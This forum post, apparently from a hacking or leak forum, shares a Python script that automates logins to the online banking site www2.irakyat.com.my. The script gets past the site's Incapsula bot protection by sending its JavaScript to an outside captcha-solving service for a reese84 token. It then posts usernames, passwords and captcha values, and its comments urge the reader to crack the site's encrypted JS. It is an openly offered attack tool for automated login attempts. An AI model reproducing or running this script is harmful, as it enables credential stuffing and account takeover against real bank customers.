ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Other languages

www2.irakyat.com.my login source code

Submitted by sysdemo at 06-11-2024, 04:38 AM


www2.irakyat.com.my login source code
2.891 Views
sysdemo's Avatar'
sysdemo
Offline
#1
[ Hidden Content! ]

Code:
import base64
import requests
import json
import sys
import re

# api config on https://www.clearcaptcha.com

main_host="http://api.clearcaptcha.com"
endpoint_inscap=main_host+"/captcha/incapsula_reese84_nosub";
token = 'test'
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"

session = requests.Session()

headers={
        "User-Agent": user_agent,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br, zstd",
        "Referer": "https://www2.irakyat.com.my/",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Connection": "keep-alive",
    }

response = session.get("https://www2.irakyat.com.my/personal/login/login.do?step1=",headers=headers,verify=False)
response_data=response.text;

# You need to crack the encrypted js yourself to correctly access the homepage
# You need to crack the encrypted js yourself to correctly access the homepage
# request 1. https://www2.irakyat.com.my/_Incapsula_Resource?SWJIYLWA=5074a744e2e3d891814e9a2dace20bd4,719d34d31c8e3a6e6fffd425f7e032f3
# request 2. https://www2.irakyat.com.my/_Incapsula_Resource?SWHANEDL=4535693699204020419,7984236453008653701,9343290047322466263,556553
# Request 2 correctly responded: "window.location.reload(true);" then it is considered successful
# You need to crack the encrypted js yourself to correctly access the homepage
# You need to crack the encrypted js yourself to correctly access the homepage

response = session.get("https://www2.irakyat.com.my/personal/login/login.do?step1=",headers=headers,verify=False)
response_data=response.text;
if 'scriptElement.src = "' not in response_data:
     print("get jsurl error")
     sys.exit()


match = re.search(r'scriptElement\.src\s*=\s*\"(\/[^\"]+)\"', response_data)
if match:
    jsurl = match.group(1)
    print(jsurl)
else:
    print("not found jsurl")
    sys.exit()
    
jsurl="https://www2.irakyat.com.my"+jsurl


post_data = {
    "token": token,
    "jsurl": jsurl,
    "user_agent": user_agent,
}

response = requests.post(endpoint_inscap, data=post_data)
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()

response_data=response.json()
if response_data['code']!=200:
    print(response.text)
    sys.exit()

post_data=response_data['data']['post_data']
headers["Content-Type"]="text/plain; charset=utf-8"
response = requests.post(jsurl, data=post_data,headers=headers,verify=False)
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()
response_data = response.json()
reese84=response_data['token']
session.cookies.set("reese84", reese84,domain="irakyat.com.my",path="/")

response = session.get("https://www2.irakyat.com.my/personal/login/login.do?step1=",headers=headers,verify=False)
response_data=response.text;
if 'id="username"' not in response_data:
     print("not found username input")
     sys.exit()
    
match = re.search(r'name=\"_sourcePage\" value=\"(\/[^\"]+)\"', response_data)
if match:
    _sourcePage = match.group(1)
    print(jsurl)
else:
    print("step1: not found _sourcePage")
    sys.exit()
    
match = re.search(r'name=\"__fp\" value=\"(\/[^\"]+)\"', response_data)
if match:
    __fp = match.group(1)
    print(jsurl)
else:
    print("step1: not found __fp")
    sys.exit()


post_data='"'+reese84+'"'
response = requests.post("https://www2.irakyat.com.my/Th-eue-Blooke-in-what-is-dayestooke-do-not-Macb-?d=www2.irakyat.com.my", data=post_data,headers=headers,verify=False)
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()
response_data = response.json()
reese84=response_data['token']
session.cookies.set("reese84", reese84,domain="irakyat.com.my",path="/")

headers["Content-Type"]="application/x-www-form-urlencoded"


post_data = {
    "step2": "",
    "username": "test",
    "step2": "Login",
    "_sourcePage": _sourcePage,
    "__fp": __fp,
}
response=session.post("https://www2.irakyat.com.my/personal/login/login.do",data=post_data,headers=headers,verify=False)
response_data = response.text
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()

if 'id="password"' not in response_data:
     print("not found password input")
     sys.exit()

match = re.search(r'name=\"_sourcePage\" value=\"(\/[^\"]+)\"', response_data)
if match:
    _sourcePage = match.group(1)
    print(jsurl)
else:
    print("step1: not found _sourcePage")
    sys.exit()
    
match = re.search(r'name=\"__fp\" value=\"(\/[^\"]+)\"', response_data)
if match:
    __fp = match.group(1)
    print(jsurl)
else:
    print("step1: not found __fp")
    sys.exit()

post_data = {
    "step3": "",
    "password": "123456",
    "captchaResponse": "aaaaa",
    "step3": "Login",
    "_sourcePage": user_agent,
    "__fp": True,
}


response = session.post("https://www2.irakyat.com.my/personal/login/login.do",data=post_data,headers=headers,verify=False)
print(response.text)

0
Reply


Messages In This Thread
www2.irakyat.com.my login source code - by sysdemo - 06-11-2024, 04:38 AM


Users browsing this thread: 1 Guest(s)